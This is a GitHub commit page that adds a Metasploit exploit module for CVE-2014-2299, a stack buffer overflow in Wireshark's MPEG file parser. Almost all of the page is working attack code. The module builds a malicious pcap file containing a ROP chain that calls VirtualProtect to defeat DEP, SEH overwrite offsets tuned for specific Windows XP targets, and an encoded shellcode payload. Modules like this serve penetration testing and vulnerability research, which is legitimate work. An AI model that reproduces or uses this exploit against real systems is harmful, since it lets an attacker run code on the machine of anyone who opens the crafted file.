Skip to content

Commit 656e60c

Browse files
wchen-r7wchen-r7
committed
Land rapid7#3254 - Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack BoF
2 parents ef815ca + cde9080 commit 656e60c

File tree

1 file changed

+138
-0
lines changed

1 file changed

+138
-0
lines changed

‎modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb

Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
#
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::Remote::Seh
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow',
17+
'Description' => %q{
18+
This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5
19+
by generating an malicious file.)
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Wesley Neelen', # Discovery vulnerability
25+
'j0sm1', # Exploit and msf module
26+
],
27+
'References' =>
28+
[
29+
[ 'CVE', '2014-2299'],
30+
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ],
31+
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ],
32+
[ 'URL', 'http://www.securityfocus.com/bid/66066/info' ]
33+
],
34+
'DefaultOptions' =>
35+
{
36+
'EXITFUNC' => 'process',
37+
},
38+
'Payload' =>
39+
{
40+
'BadChars' => "\xff",
41+
'Space' => 600,
42+
'DisableNops' => 'True',
43+
'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200
44+
},
45+
'Platform' => 'win',
46+
'Targets' =>
47+
[
48+
[ 'WinXP SP3 Spanish (bypass DEP)',
49+
{
50+
'OffSet' => 69732,
51+
'OffSet2' => 70476,
52+
'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16)
53+
'jmpesp' => 0x68e2bfb9,
54+
}
55+
],
56+
[ 'WinXP SP2/SP3 English (bypass DEP)',
57+
{
58+
'OffSet2' => 70692,
59+
'OffSet' => 70476,
60+
'Ret' => 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module
61+
'jmpesp' => 0x68e2bfb9,
62+
}
63+
],
64+
],
65+
'Privileged' => false,
66+
'DisclosureDate' => 'Mar 20 2014'
67+
))
68+
69+
register_options(
70+
[
71+
OptString.new('FILENAME', [ true, 'pcap file', 'mpeg_overflow.pcap']),
72+
], self.class)
73+
end
74+
75+
def create_rop_chain()
76+
77+
# rop chain generated with mona.py - www.corelan.be
78+
rop_gadgets =
79+
[
80+
0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
81+
0x62d9027c, # ptr to &VirtualProtect() [IAT libcares-2.dll]
82+
0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
83+
0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
84+
0x619c0a2a, # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
85+
0x61841e98, # & push esp # ret [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
86+
0x6191d11a, # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
87+
0x00000201, # 0x00000201-> ebx
88+
0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0]
89+
0x00000040, # 0x00000040-> edx
90+
0x6197660f, # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
91+
0x668242b9, # &Writable location [libgnutls-26.dll]
92+
0x6199b8a5, # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0
93+
0x63a528c2, # RETN (ROP NOP) [libgobject-2.0-0.dll]
94+
0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
95+
0x90909090, # nop
96+
0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
97+
].flatten.pack("V*")
98+
99+
return rop_gadgets
100+
101+
end
102+
103+
def exploit
104+
105+
print_status("Creating '#{datastore['FILENAME']}' file ...")
106+
107+
ropchain = create_rop_chain
108+
magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
109+
# Here we build the packet data
110+
packet = rand_text_alpha(883)
111+
packet << "\x6c\x7d\x37\x6c" # NOP RETN
112+
packet << "\x6c\x7d\x37\x6c" # NOP RETN
113+
packet << ropchain
114+
packet << payload.encoded # Shellcode
115+
packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)
116+
117+
# 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000
118+
# After nseh and seh we haven't space, then we have to jump to another location.
119+
120+
# When file is open with command line. This is NSEH/SEH overwrite
121+
packet << make_nops(4) # nseh
122+
packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN
123+
124+
packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk
125+
126+
# When file is open with GUI interface. This is NSEH/SEH overwrite
127+
packet << make_nops(4) # nseh
128+
# seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] **
129+
packet << "\x55\x59\x80\x6b"
130+
131+
print_status("Preparing payload")
132+
filecontent = magic_header
133+
filecontent << packet
134+
print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")
135+
file_create(filecontent)
136+
137+
end
138+
end

0 commit comments

Comments
 (0)